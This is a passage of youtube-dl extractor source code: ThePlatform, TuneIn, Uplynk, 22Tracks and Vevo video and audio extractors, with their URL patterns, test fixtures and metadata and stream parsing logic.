            'title': 'Blackberry\'s big, bold Z30',
            'description': 'The Z30 is Blackberry\'s biggest, baddest mobile messaging device yet.',
            'duration': 247,
            'timestamp': 1383239700,
            'upload_date': '20131031',
            'uploader': 'CBSI-NEW',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        # from http://www.cnet.com/videos/tesla-model-s-a-second-step-towards-a-cleaner-motoring-future/
        'url': 'http://link.theplatform.com/s/kYEXFC/22d_qsQ6MIRT',
        'info_dict': {
            'id': '22d_qsQ6MIRT',
            'ext': 'flv',
            'description': 'md5:ac330c9258c04f9d7512cf26b9595409',
            'title': 'Tesla Model S: A second step towards a cleaner motoring future',
            'timestamp': 1426176191,
            'upload_date': '20150312',
            'uploader': 'CBSI-NEW',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        'url': 'https://player.theplatform.com/p/D6x-PC/pulse_preview/embed/select/media/yMBg9E8KFxZD',
        'info_dict': {
            'id': 'yMBg9E8KFxZD',
            'ext': 'mp4',
            'description': 'md5:644ad9188d655b742f942bf2e06b002d',
            'title': 'HIGHLIGHTS: USA bag first ever series Cup win',
            'uploader': 'EGSM',
        }
    }, {
        'url': 'http://player.theplatform.com/p/NnzsPC/widget/select/media/4Y0TlYUr_ZT7',
        'only_matching': True,
    }, {
        'url': 'http://player.theplatform.com/p/2E2eJC/nbcNewsOffsite?guid=tdy_or_siri_150701',
        'md5': 'fb96bb3d85118930a5b055783a3bd992',
        'info_dict': {
            'id': 'tdy_or_siri_150701',
            'ext': 'mp4',
            'title': 'iPhone Siri’s sassy response to a math question has people talking',
            'description': 'md5:a565d1deadd5086f3331d57298ec6333',
            'duration': 83.0,
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1435752600,
            'upload_date': '20150701',
            'uploader': 'NBCU-NEWS',
        },
    }, {
        # From http://www.nbc.com/the-blacklist/video/sir-crispin-crandall/2928790?onid=137781#vc137781=1
        # geo-restricted (US), HLS encrypted with AES-128
        'url': 'http://player.theplatform.com/p/NnzsPC/onsite_universal/select/media/guid/2410887629/2928790?fwsitesection=nbc_the_blacklist_video_library&autoPlay=true&carouselID=137781',
        'only_matching': True,
    }]

    @classmethod
    def _extract_urls(cls, webpage):
        m = re.search(
            r'''(?x)
                    <meta\s+
                        property=(["'])(?:og:video(?::(?:secure_)?url)?|twitter:player)\1\s+
                        content=(["'])(?P<url>https?://player\.theplatform\.com/p/.+?)\2
            ''', webpage)
        if m:
            return [m.group('url')]

        matches = re.findall(
            r'<(?:iframe|script)[^>]+src=(["\'])((?:https?:)?//player\.theplatform\.com/p/.+?)\1', webpage)
        if matches:
            return list(zip(*matches))[1]

    @staticmethod
    def _sign_url(url, sig_key, sig_secret, life=600, include_qs=False):
        flags = '10' if include_qs else '00'
        expiration_date = '%x' % (int(time.time()) + life)

        def str_to_hex(str):
            return binascii.b2a_hex(str.encode('ascii')).decode('ascii')

        def hex_to_bytes(hex):
            return binascii.a2b_hex(hex.encode('ascii'))

        relative_path = re.match(r'https?://link.theplatform.com/s/([^?]+)', url).group(1)
        clear_text = hex_to_bytes(flags + expiration_date + str_to_hex(relative_path))
        checksum = hmac.new(sig_key.encode('ascii'), clear_text, hashlib.sha1).hexdigest()
        sig = flags + expiration_date + checksum + str_to_hex(sig_secret)
        return '%s&sig=%s' % (url, sig)

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})

        mobj = re.match(self._VALID_URL, url)
        provider_id = mobj.group('provider_id')
        video_id = mobj.group('id')

        if not provider_id:
            provider_id = 'dJ5BDC'

        path = provider_id + '/'
        if mobj.group('media'):
            path += mobj.group('media')
        path += video_id

        qs_dict = compat_parse_qs(compat_urllib_parse_urlparse(url).query)
        if 'guid' in qs_dict:
            webpage = self._download_webpage(url, video_id)
            scripts = re.findall(r'<script[^>]+src="([^"]+)"', webpage)
            feed_id = None
            # feed id usually locates in the last script.
            # Seems there's no pattern for the interested script filename, so
            # I try one by one
            for script in reversed(scripts):
                feed_script = self._download_webpage(
                    self._proto_relative_url(script, 'http:'),
                    video_id, 'Downloading feed script')
                feed_id = self._search_regex(
                    r'defaultFeedId\s*:\s*"([^"]+)"', feed_script,
                    'default feed id', default=None)
                if feed_id is not None:
                    break
            if feed_id is None:
                raise ExtractorError('Unable to find feed id')
            return self.url_result('http://feed.theplatform.com/f/%s/%s?byGuid=%s' % (
                provider_id, feed_id, qs_dict['guid'][0]))

        if smuggled_data.get('force_smil_url', False):
            smil_url = url
        # Explicitly specified SMIL (see https://github.com/rg3/youtube-dl/issues/7385)
        elif '/guid/' in url:
            headers = {}
            source_url = smuggled_data.get('source_url')
            if source_url:
                headers['Referer'] = source_url
            request = sanitized_Request(url, headers=headers)
            webpage = self._download_webpage(request, video_id)
            smil_url = self._search_regex(
                r'<link[^>]+href=(["\'])(?P<url>.+?)\1[^>]+type=["\']application/smil\+xml',
                webpage, 'smil url', group='url')
            path = self._search_regex(
                r'link\.theplatform\.com/s/((?:[^/?#&]+/)+[^/?#&]+)', smil_url, 'path')
            smil_url += '?' if '?' not in smil_url else '&' + 'formats=m3u,mpeg4'
        elif mobj.group('config'):
            config_url = url + '&form=json'
            config_url = config_url.replace('swf/', 'config/')
            config_url = config_url.replace('onsite/', 'onsite/config/')
            config = self._download_json(config_url, video_id, 'Downloading config')
            if 'releaseUrl' in config:
                release_url = config['releaseUrl']
            else:
                release_url = 'http://link.theplatform.com/s/%s?mbr=true' % path
            smil_url = release_url + '&formats=MPEG4&manifest=f4m'
        else:
            smil_url = 'http://link.theplatform.com/s/%s?mbr=true' % path

        sig = smuggled_data.get('sig')
        if sig:
            smil_url = self._sign_url(smil_url, sig['key'], sig['secret'])

        formats, subtitles = self._extract_theplatform_smil(smil_url, video_id)
        self._sort_formats(formats)

        ret = self._extract_theplatform_metadata(path, video_id)
        combined_subtitles = self._merge_subtitles(ret.get('subtitles', {}), subtitles)
        ret.update({
            'id': video_id,
            'formats': formats,
            'subtitles': combined_subtitles,
        })

        return ret


class ThePlatformFeedIE(ThePlatformBaseIE):
    _URL_TEMPLATE = '%s//feed.theplatform.com/f/%s/%s?form=json&%s'
    _VALID_URL = r'https?://feed\.theplatform\.com/f/(?P<provider_id>[^/]+)/(?P<feed_id>[^?/]+)\?(?:[^&]+&)*(?P<filter>by(?:Gui|I)d=(?P<id>[\w-]+))'
    _TESTS = [{
        # From http://player.theplatform.com/p/7wvmTC/MSNBCEmbeddedOffSite?guid=n_hardball_5biden_140207
        'url': 'http://feed.theplatform.com/f/7wvmTC/msnbc_video-p-test?form=json&pretty=true&range=-40&byGuid=n_hardball_5biden_140207',
        'md5': '6e32495b5073ab414471b615c5ded394',
        'info_dict': {
            'id': 'n_hardball_5biden_140207',
            'ext': 'mp4',
            'title': 'The Biden factor: will Joe run in 2016?',
            'description': 'Could Vice President Joe Biden be preparing a 2016 campaign? Mark Halperin and Sam Stein weigh in.',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20140208',
            'timestamp': 1391824260,
            'duration': 467.0,
            'categories': ['MSNBC/Issues/Democrats', 'MSNBC/Issues/Elections/Election 2016'],
            'uploader': 'NBCU-NEWS',
        },
    }]

    def _extract_feed_info(self, provider_id, feed_id, filter_query, video_id, custom_fields=None, asset_types_query={}):
        real_url = self._URL_TEMPLATE % (self.http_scheme(), provider_id, feed_id, filter_query)
        entry = self._download_json(real_url, video_id)['entries'][0]

        formats = []
        subtitles = {}
        first_video_id = None
        duration = None
        asset_types = []
        for item in entry['media$content']:
            smil_url = item['plfile$url']
            cur_video_id = ThePlatformIE._match_id(smil_url)
            if first_video_id is None:
                first_video_id = cur_video_id
                duration = float_or_none(item.get('plfile$duration'))
            for asset_type in item['plfile$assetTypes']:
                if asset_type in asset_types:
                    continue
                asset_types.append(asset_type)
                query = {
                    'mbr': 'true',
                    'formats': item['plfile$format'],
                    'assetTypes': asset_type,
                }
                if asset_type in asset_types_query:
                    query.update(asset_types_query[asset_type])
                cur_formats, cur_subtitles = self._extract_theplatform_smil(update_url_query(
                    smil_url, query), video_id, 'Downloading SMIL data for %s' % asset_type)
                formats.extend(cur_formats)
                subtitles = self._merge_subtitles(subtitles, cur_subtitles)

        self._sort_formats(formats)

        thumbnails = [{
            'url': thumbnail['plfile$url'],
            'width': int_or_none(thumbnail.get('plfile$width')),
            'height': int_or_none(thumbnail.get('plfile$height')),
        } for thumbnail in entry.get('media$thumbnails', [])]

        timestamp = int_or_none(entry.get('media$availableDate'), scale=1000)
        categories = [item['media$name'] for item in entry.get('media$categories', [])]

        ret = self._extract_theplatform_metadata('%s/%s' % (provider_id, first_video_id), video_id)
        subtitles = self._merge_subtitles(subtitles, ret['subtitles'])
        ret.update({
            'id': video_id,
            'formats': formats,
            'subtitles': subtitles,
            'thumbnails': thumbnails,
            'duration': duration,
            'timestamp': timestamp,
            'categories': categories,
        })
        if custom_fields:
            ret.update(custom_fields(entry))

        return ret

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('id')
        provider_id = mobj.group('provider_id')
        feed_id = mobj.group('feed_id')
        filter_query = mobj.group('filter')

        return self._extract_feed_info(provider_id, feed_id, filter_query, video_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import ExtractorError
from ..compat import compat_urlparse


class TuneInBaseIE(InfoExtractor):
    _API_BASE_URL = 'http://tunein.com/tuner/tune/'

    def _real_extract(self, url):
        content_id = self._match_id(url)

        content_info = self._download_json(
            self._API_BASE_URL + self._API_URL_QUERY % content_id,
            content_id, note='Downloading JSON metadata')

        title = content_info['Title']
        thumbnail = content_info.get('Logo')
        location = content_info.get('Location')
        streams_url = content_info.get('StreamUrl')
        if not streams_url:
            raise ExtractorError('No downloadable streams found', expected=True)
        if not streams_url.startswith('http://'):
            streams_url = compat_urlparse.urljoin(url, streams_url)

        streams = self._download_json(
            streams_url, content_id, note='Downloading stream data',
            transform_source=lambda s: re.sub(r'^\s*\((.*)\);\s*$', r'\1', s))['Streams']

        is_live = None
        formats = []
        for stream in streams:
            if stream.get('Type') == 'Live':
                is_live = True
            reliability = stream.get('Reliability')
            format_note = (
                'Reliability: %d%%' % reliability
                if reliability is not None else None)
            formats.append({
                'preference': (
                    0 if reliability is None or reliability > 90
                    else 1),
                'abr': stream.get('Bandwidth'),
                'ext': stream.get('MediaType').lower(),
                'acodec': stream.get('MediaType'),
                'vcodec': 'none',
                'url': stream.get('Url'),
                'source_preference': reliability,
                'format_note': format_note,
            })
        self._sort_formats(formats)

        return {
            'id': content_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'location': location,
            'is_live': is_live,
        }


class TuneInClipIE(TuneInBaseIE):
    IE_NAME = 'tunein:clip'
    _VALID_URL = r'https?://(?:www\.)?tunein\.com/station/.*?audioClipId\=(?P<id>\d+)'
    _API_URL_QUERY = '?tuneType=AudioClip&audioclipId=%s'

    _TESTS = [
        {
            'url': 'http://tunein.com/station/?stationId=246119&audioClipId=816',
            'md5': '99f00d772db70efc804385c6b47f4e77',
            'info_dict': {
                'id': '816',
                'title': '32m',
                'ext': 'mp3',
            },
        },
    ]


class TuneInStationIE(TuneInBaseIE):
    IE_NAME = 'tunein:station'
    _VALID_URL = r'https?://(?:www\.)?tunein\.com/(?:radio/.*?-s|station/.*?StationId\=)(?P<id>\d+)'
    _API_URL_QUERY = '?tuneType=Station&stationId=%s'

    @classmethod
    def suitable(cls, url):
        return False if TuneInClipIE.suitable(url) else super(TuneInStationIE, cls).suitable(url)

    _TESTS = [
        {
            'url': 'http://tunein.com/radio/Jazz24-885-s34682/',
            'info_dict': {
                'id': '34682',
                'title': 'Jazz 24 on 88.5 Jazz24 - KPLU-HD2',
                'ext': 'mp3',
                'location': 'Tacoma, WA',
            },
            'params': {
                'skip_download': True,  # live stream
            },
        },
    ]


class TuneInProgramIE(TuneInBaseIE):
    IE_NAME = 'tunein:program'
    _VALID_URL = r'https?://(?:www\.)?tunein\.com/(?:radio/.*?-p|program/.*?ProgramId\=)(?P<id>\d+)'
    _API_URL_QUERY = '?tuneType=Program&programId=%s'

    _TESTS = [
        {
            'url': 'http://tunein.com/radio/Jazz-24-p2506/',
            'info_dict': {
                'id': '2506',
                'title': 'Jazz 24 on 91.3 WUKY-HD3',
                'ext': 'mp3',
                'location': 'Lexington, KY',
            },
            'params': {
                'skip_download': True,  # live stream
            },
        },
    ]


class TuneInTopicIE(TuneInBaseIE):
    IE_NAME = 'tunein:topic'
    _VALID_URL = r'https?://(?:www\.)?tunein\.com/topic/.*?TopicId\=(?P<id>\d+)'
    _API_URL_QUERY = '?tuneType=Topic&topicId=%s'

    _TESTS = [
        {
            'url': 'http://tunein.com/topic/?TopicId=101830576',
            'md5': 'c31a39e6f988d188252eae7af0ef09c9',
            'info_dict': {
                'id': '101830576',
                'title': 'Votez pour moi du 29 octobre 2015 (29/10/15)',
                'ext': 'mp3',
                'location': 'Belgium',
            },
        },
    ]


class TuneInShortenerIE(InfoExtractor):
    IE_NAME = 'tunein:shortener'
    IE_DESC = False  # Do not list
    _VALID_URL = r'https?://tun\.in/(?P<id>[A-Za-z0-9]+)'

    _TEST = {
        # test redirection
        'url': 'http://tun.in/ser7s',
        'info_dict': {
            'id': '34682',
            'title': 'Jazz 24 on 88.5 Jazz24 - KPLU-HD2',
            'ext': 'mp3',
            'location': 'Tacoma, WA',
        },
        'params': {
            'skip_download': True,  # live stream
        },
    }

    def _real_extract(self, url):
        redirect_id = self._match_id(url)
        # The server doesn't support HEAD requests
        urlh = self._request_webpage(
            url, redirect_id, note='Downloading redirect page')
        url = urlh.geturl()
        self.to_screen('Following redirect: %s' % url)
        return self.url_result(url)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    ExtractorError,
)


class UplynkIE(InfoExtractor):
    IE_NAME = 'uplynk'
    _VALID_URL = r'https?://.*?\.uplynk\.com/(?P<path>ext/[0-9a-f]{32}/(?P<external_id>[^/?&]+)|(?P<id>[0-9a-f]{32}))\.(?:m3u8|json)(?:.*?\bpbs=(?P<session_id>[^&]+))?'
    _TEST = {
        'url': 'http://content.uplynk.com/e89eaf2ce9054aa89d92ddb2d817a52e.m3u8',
        'info_dict': {
            'id': 'e89eaf2ce9054aa89d92ddb2d817a52e',
            'ext': 'mp4',
            'title': '030816-kgo-530pm-solar-eclipse-vid_web.mp4',
            'uploader_id': '4413701bf5a1488db55b767f8ae9d4fa',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _extract_uplynk_info(self, uplynk_content_url):
        path, external_id, video_id, session_id = re.match(UplynkIE._VALID_URL, uplynk_content_url).groups()
        display_id = video_id or external_id
        formats = self._extract_m3u8_formats('http://content.uplynk.com/%s.m3u8' % path, display_id, 'mp4')
        if session_id:
            for f in formats:
                f['extra_param_to_segment_url'] = {
                    'pbs': session_id,
                }
        self._sort_formats(formats)
        asset = self._download_json('http://content.uplynk.com/player/assetinfo/%s.json' % path, display_id)
        if asset.get('error') == 1:
            raise ExtractorError('% said: %s' % (self.IE_NAME, asset['msg']), expected=True)

        return {
            'id': asset['asset'],
            'title': asset['desc'],
            'thumbnail': asset.get('default_poster_url'),
            'duration': float_or_none(asset.get('duration')),
            'uploader_id': asset.get('owner'),
            'formats': formats,
        }

    def _real_extract(self, url):
        return self._extract_uplynk_info(url)


class UplynkPreplayIE(UplynkIE):
    IE_NAME = 'uplynk:preplay'
    _VALID_URL = r'https?://.*?\.uplynk\.com/preplay2?/(?P<path>ext/[0-9a-f]{32}/(?P<external_id>[^/?&]+)|(?P<id>[0-9a-f]{32}))\.json'
    _TEST = None

    def _real_extract(self, url):
        path, external_id, video_id = re.match(self._VALID_URL, url).groups()
        display_id = video_id or external_id
        preplay = self._download_json(url, display_id)
        content_url = 'http://content.uplynk.com/%s.m3u8' % path
        session_id = preplay.get('sid')
        if session_id:
            content_url += '?pbs=' + session_id
        return self._extract_uplynk_info(content_url)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none

# 22Tracks regularly replace the audio tracks that can be streamed on their
# site. The tracks usually expire after 1 months, so we can't add tests.


class TwentyTwoTracksIE(InfoExtractor):
    _VALID_URL = r'https?://22tracks\.com/(?P<city>[a-z]+)/(?P<genre>[\da-z]+)/(?P<id>\d+)'
    IE_NAME = '22tracks:track'

    _API_BASE = 'http://22tracks.com/api'

    def _extract_info(self, city, genre_name, track_id=None):
        item_id = track_id if track_id else genre_name

        cities = self._download_json(
            '%s/cities' % self._API_BASE, item_id,
            'Downloading cities info',
            'Unable to download cities info')
        city_id = [x['id'] for x in cities if x['slug'] == city][0]

        genres = self._download_json(
            '%s/genres/%s' % (self._API_BASE, city_id), item_id,
            'Downloading %s genres info' % city,
            'Unable to download %s genres info' % city)
        genre = [x for x in genres if x['slug'] == genre_name][0]
        genre_id = genre['id']

        tracks = self._download_json(
            '%s/tracks/%s' % (self._API_BASE, genre_id), item_id,
            'Downloading %s genre tracks info' % genre_name,
            'Unable to download track info')

        return [x for x in tracks if x['id'] == item_id][0] if track_id else [genre['title'], tracks]

    def _get_track_url(self, filename, track_id):
        token = self._download_json(
            'http://22tracks.com/token.php?desktop=true&u=/128/%s' % filename,
            track_id, 'Downloading token', 'Unable to download token')
        return 'http://audio.22tracks.com%s?st=%s&e=%d' % (token['filename'], token['st'], token['e'])

    def _extract_track_info(self, track_info, track_id):
        download_url = self._get_track_url(track_info['filename'], track_id)
        title = '%s - %s' % (track_info['artist'].strip(), track_info['title'].strip())
        return {
            'id': track_id,
            'url': download_url,
            'ext': 'mp3',
            'title': title,
            'duration': int_or_none(track_info.get('duration')),
            'timestamp': int_or_none(track_info.get('published_at') or track_info.get('created'))
        }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        city = mobj.group('city')
        genre = mobj.group('genre')
        track_id = mobj.group('id')

        track_info = self._extract_info(city, genre, track_id)
        return self._extract_track_info(track_info, track_id)


class TwentyTwoTracksGenreIE(TwentyTwoTracksIE):
    _VALID_URL = r'https?://22tracks\.com/(?P<city>[a-z]+)/(?P<genre>[\da-z]+)/?$'
    IE_NAME = '22tracks:genre'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        city = mobj.group('city')
        genre = mobj.group('genre')

        genre_title, tracks = self._extract_info(city, genre)

        entries = [
            self._extract_track_info(track_info, track_info['id'])
            for track_info in tracks]

        return self.playlist_result(entries, genre, genre_title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_etree_fromstring,
    compat_str,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    sanitized_Request,
    parse_iso8601,
)


class VevoBaseIE(InfoExtractor):
    def _extract_json(self, webpage, video_id, item):
        return self._parse_json(
            self._search_regex(
                r'window\.__INITIAL_STORE__\s*=\s*({.+?});\s*</script>',
                webpage, 'initial store'),
            video_id)['default'][item]


class VevoIE(VevoBaseIE):
    '''
    Accepts urls from vevo.com or in the format 'vevo:{id}'
    (currently used by MTVIE and MySpaceIE)
    '''
    _VALID_URL = r'''(?x)
        (?:https?://www\.vevo\.com/watch/(?!playlist|genre)(?:[^/]+/(?:[^/]+/)?)?|
           https?://cache\.vevo\.com/m/html/embed\.html\?video=|
           https?://videoplayer\.vevo\.com/embed/embedded\?videoId=|
           vevo:)
        (?P<id>[^&?#]+)'''

    _TESTS = [{
        'url': 'http://www.vevo.com/watch/hurts/somebody-to-die-for/GB1101300280',
        'md5': '95ee28ee45e70130e3ab02b0f579ae23',
        'info_dict': {
            'id': 'GB1101300280',
            'ext': 'mp4',
            'title': 'Hurts - Somebody to Die For',
            'timestamp': 1372057200,
            'upload_date': '20130624',
            'uploader': 'Hurts',
            'track': 'Somebody to Die For',
            'artist': 'Hurts',
            'genre': 'Pop',
        },
        'expected_warnings': ['Unable to download SMIL file'],
    }, {
        'note': 'v3 SMIL format',
        'url': 'http://www.vevo.com/watch/cassadee-pope/i-wish-i-could-break-your-heart/USUV71302923',
        'md5': 'f6ab09b034f8c22969020b042e5ac7fc',
        'info_dict': {
            'id': 'USUV71302923',
            'ext': 'mp4',
            'title': 'Cassadee Pope - I Wish I Could Break Your Heart',
            'timestamp': 1392796919,
            'upload_date': '20140219',
            'uploader': 'Cassadee Pope',
            'track': 'I Wish I Could Break Your Heart',
            'artist': 'Cassadee Pope',
            'genre': 'Country',
        },
        'expected_warnings': ['Unable to download SMIL file'],
    }, {
        'note': 'Age-limited video',
        'url': 'https://www.vevo.com/watch/justin-timberlake/tunnel-vision-explicit/USRV81300282',
        'info_dict': {
            'id': 'USRV81300282',
            'ext': 'mp4',
            'title': 'Justin Timberlake - Tunnel Vision (Explicit)',
            'age_limit': 18,
            'timestamp': 1372888800,
            'upload_date': '20130703',
            'uploader': 'Justin Timberlake',
            'track': 'Tunnel Vision (Explicit)',
            'artist': 'Justin Timberlake',
            'genre': 'Pop',
        },
        'expected_warnings': ['Unable to download SMIL file'],
    }, {
        'note': 'No video_info',
        'url': 'http://www.vevo.com/watch/k-camp-1/Till-I-Die/USUV71503000',
        'md5': '8b83cc492d72fc9cf74a02acee7dc1b0',
        'info_dict': {
            'id': 'USUV71503000',
            'ext': 'mp4',
            'title': 'K Camp - Till I Die',
            'age_limit': 18,
            'timestamp': 1449468000,
            'upload_date': '20151207',
            'uploader': 'K Camp',
            'track': 'Till I Die',
            'artist': 'K Camp',
            'genre': 'Rap/Hip-Hop',
        },
    }, {
        'note': 'Only available via webpage',
        'url': 'http://www.vevo.com/watch/GBUV71600656',
        'md5': '67e79210613865b66a47c33baa5e37fe',
        'info_dict': {
            'id': 'GBUV71600656',
            'ext': 'mp4',
            'title': 'ABC - Viva Love',
            'age_limit': 0,
            'timestamp': 1461830400,
            'upload_date': '20160428',
            'uploader': 'ABC',
            'track': 'Viva Love',
            'artist': 'ABC',
            'genre': 'Pop',
        },
        'expected_warnings': ['Failed to download video versions info'],
    }, {
        # no genres available
        'url': 'http://www.vevo.com/watch/INS171400764',
        'only_matching': True,
    }]
    _SMIL_BASE_URL = 'http://smil.lvl3.vevo.com'
    _SOURCE_TYPES = {
        0: 'youtube',
        1: 'brightcove',
        2: 'http',
        3: 'hls_ios',
        4: 'hls',
        5: 'smil',  # http
        7: 'f4m_cc',
        8: 'f4m_ak',
        9: 'f4m_l3',
        10: 'ism',
        13: 'smil',  # rtmp
        18: 'dash',
    }
    _VERSIONS = {
        0: 'youtube',  # only in AuthenticateVideo videoVersions
        1: 'level3',
        2: 'akamai',
        3: 'level3',
        4: 'amazon',
    }

    def _parse_smil_formats(self, smil, smil_url, video_id, namespace=None, f4m_params=None, transform_rtmp_url=None):
        formats = []
        els = smil.findall('.//{http://www.w3.org/2001/SMIL20/Language}video')
        for el in els:
            src = el.attrib['src']
            m = re.match(r'''(?xi)
                (?P<ext>[a-z0-9]+):
                (?P<path>
                    [/a-z0-9]+     # The directory and main part of the URL
                    _(?P<tbr>[0-9]+)k
                    _(?P<width>[0-9]+)x(?P<height>[0-9]+)
                    _(?P<vcodec>[a-z0-9]+)
                    _(?P<vbr>[0-9]+)
                    _(?P<acodec>[a-z0-9]+)
                    _(?P<abr>[0-9]+)
                    \.[a-z0-9]+  # File extension
                )''', src)
            if not m:
                continue

            format_url = self._SMIL_BASE_URL + m.group('path')
            formats.append({
                'url': format_url,
                'format_id': 'smil_' + m.group('tbr'),
                'vcodec': m.group('vcodec'),
                'acodec': m.group('acodec'),
                'tbr': int(m.group('tbr')),
                'vbr': int(m.group('vbr')),
                'abr': int(m.group('abr')),
                'ext': m.group('ext'),
                'width': int(m.group('width')),
                'height': int(m.group('height')),
            })
        return formats

    def _initialize_api(self, video_id):
        req = sanitized_Request(
            'http://www.vevo.com/auth', data=b'')
        webpage = self._download_webpage(
            req, None,
            note='Retrieving oauth token',
            errnote='Unable to retrieve oauth token')

        if 'THIS PAGE IS CURRENTLY UNAVAILABLE IN YOUR REGION' in webpage:
            self.raise_geo_restricted(
                '%s said: This page is currently unavailable in your region' % self.IE_NAME)

        auth_info = self._parse_json(webpage, video_id)
        self._api_url_template = self.http_scheme() + '//apiv2.vevo.com/%s?token=' + auth_info['access_token']

    def _call_api(self, path, *args, **kwargs):
        return self._download_json(self._api_url_template % path, *args, **kwargs)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        json_url = 'http://api.vevo.com/VideoService/AuthenticateVideo?isrc=%s' % video_id
        response = self._download_json(
            json_url, video_id, 'Downloading video info',
            'Unable to download info', fatal=False) or {}
        video_info = response.get('video') or {}
        artist = None
        featured_artist = None
        uploader = None
        view_count = None
        formats = []

        if not video_info:
            try:
                self._initialize_api(video_id)
            except ExtractorError:
                ytid = response.get('errorInfo', {}).get('ytid')
                if ytid:
                    self.report_warning(
                        'Video is geoblocked, trying with the YouTube video %s' % ytid)
                    return self.url_result(ytid, 'Youtube', ytid)

                raise

            video_info = self._call_api(
                'video/%s' % video_id, video_id, 'Downloading api video info',
                'Failed to download video info')

            video_versions = self._call_api(
                'video/%s/streams' % video_id, video_id,
                'Downloading video versions info',
                'Failed to download video versions info',
                fatal=False)

            # Some videos are only available via webpage (e.g.
            # https://github.com/rg3/youtube-dl/issues/9366)
            if not video_versions:
                webpage = self._download_webpage(url, video_id)
                video_versions = self._extract_json(webpage, video_id, 'streams')[video_id][0]

            timestamp = parse_iso8601(video_info.get('releaseDate'))
            artists = video_info.get('artists')
            if artists:
                artist = uploader = artists[0]['name']
            view_count = int_or_none(video_info.get('views', {}).get('total'))

            for video_version in video_versions:
                version = self._VERSIONS.get(video_version['version'])
                version_url = video_version.get('url')
                if not version_url:
                    continue

                if '.ism' in version_url:
                    continue
                elif '.mpd' in version_url:
                    formats.extend(self._extract_mpd_formats(
                        version_url, video_id, mpd_id='dash-%s' % version,
                        note='Downloading %s MPD information' % version,
                        errnote='Failed to download %s MPD information' % version,
                        fatal=False))
                elif '.m3u8' in version_url:
                    formats.extend(self._extract_m3u8_formats(
                        version_url, video_id, 'mp4', 'm3u8_native',
                        m3u8_id='hls-%s' % version,
                        note='Downloading %s m3u8 information' % version,
                        errnote='Failed to download %s m3u8 information' % version,
                        fatal=False))
                else:
                    m = re.search(r'''(?xi)
                        _(?P<width>[0-9]+)x(?P<height>[0-9]+)
                        _(?P<vcodec>[a-z0-9]+)
                        _(?P<vbr>[0-9]+)
                        _(?P<acodec>[a-z0-9]+)
                        _(?P<abr>[0-9]+)
                        \.(?P<ext>[a-z0-9]+)''', version_url)
                    if not m:
                        continue

                    formats.append({
                        'url': version_url,
                        'format_id': 'http-%s-%s' % (version, video_version['quality']),
                        'vcodec': m.group('vcodec'),
                        'acodec': m.group('acodec'),
                        'vbr': int(m.group('vbr')),
                        'abr': int(m.group('abr')),
                        'ext': m.group('ext'),
                        'width': int(m.group('width')),
                        'height': int(m.group('height')),
                    })
        else:
            timestamp = int_or_none(self._search_regex(
                r'/Date\((\d+)\)/',
                video_info['releaseDate'], 'release date', fatal=False),
                scale=1000)
            artists = video_info.get('mainArtists')
            if artists:
                artist = uploader = artists[0]['artistName']

            featured_artists = video_info.get('featuredArtists')
            if featured_artists:
                featured_artist = featured_artists[0]['artistName']

            smil_parsed = False
            for video_version in video_info['videoVersions']:
                version = self._VERSIONS.get(video_version['version'])
                if version == 'youtube':
                    continue
                else:
                    source_type = self._SOURCE_TYPES.get(video_version['sourceType'])
                    renditions = compat_etree_fromstring(video_version['data'])
                    if source_type == 'http':
                        for rend in renditions.findall('rendition'):
                            attr = rend.attrib
                            formats.append({
                                'url': attr['url'],
                                'format_id': 'http-%s-%s' % (version, attr['name']),
                                'height': int_or_none(attr.get('frameheight')),
                                'width': int_or_none(attr.get('frameWidth')),
                                'tbr': int_or_none(attr.get('totalBitrate')),
                                'vbr': int_or_none(attr.get('videoBitrate')),
                                'abr': int_or_none(attr.get('audioBitrate')),
                                'vcodec': attr.get('videoCodec'),
                                'acodec': attr.get('audioCodec'),
                            })
                    elif source_type == 'hls':
                        formats.extend(self._extract_m3u8_formats(
                            renditions.find('rendition').attrib['url'], video_id,
                            'mp4', 'm3u8_native', m3u8_id='hls-%s' % version,
                            note='Downloading %s m3u8 information' % version,
                            errnote='Failed to download %s m3u8 information' % version,
                            fatal=False))
                    elif source_type == 'smil' and version == 'level3' and not smil_parsed:
                        formats.extend(self._extract_smil_formats(
                            renditions.find('rendition').attrib['url'], video_id, False))
                        smil_parsed = True
        self._sort_formats(formats)

        track = video_info['title']
        if featured_artist:
            artist = '%s ft. %s' % (artist, featured_artist)
        title = '%s - %s' % (artist, track) if artist else track

        genres = video_info.get('genres')
        genre = (
            genres[0] if genres and isinstance(genres, list) and
            isinstance(genres[0], compat_str) else None)

        is_explicit = video_info.get('isExplicit')
        if is_explicit is True:
            age_limit = 18
        elif is_explicit is False:
            age_limit = 0
        else:
            age_limit = None

        duration = video_info.get('duration')

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'thumbnail': video_info.get('imageUrl') or video_info.get('thumbnailUrl'),
            'timestamp': timestamp,
            'uploader': uploader,
            'duration': duration,
            'view_count': view_count,
            'age_limit': age_limit,
            'track': track,
            'artist': uploader,
            'genre': genre,
        }


class VevoPlaylistIE(VevoBaseIE):
    _VALID_URL = r'https?://www\.vevo\.com/watch/(?P<kind>playlist|genre)/(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://www.vevo.com/watch/playlist/dadbf4e7-b99f-4184-9670-6f0e547b6a29',
        'info_dict': {
            'id': 'dadbf4e7-b99f-4184-9670-6f0e547b6a29',
            'title': 'Best-Of: Birdman',
        },
        'playlist_count': 10,
    }, {
        'url': 'http://www.vevo.com/watch/genre/rock',
        'info_dict': {
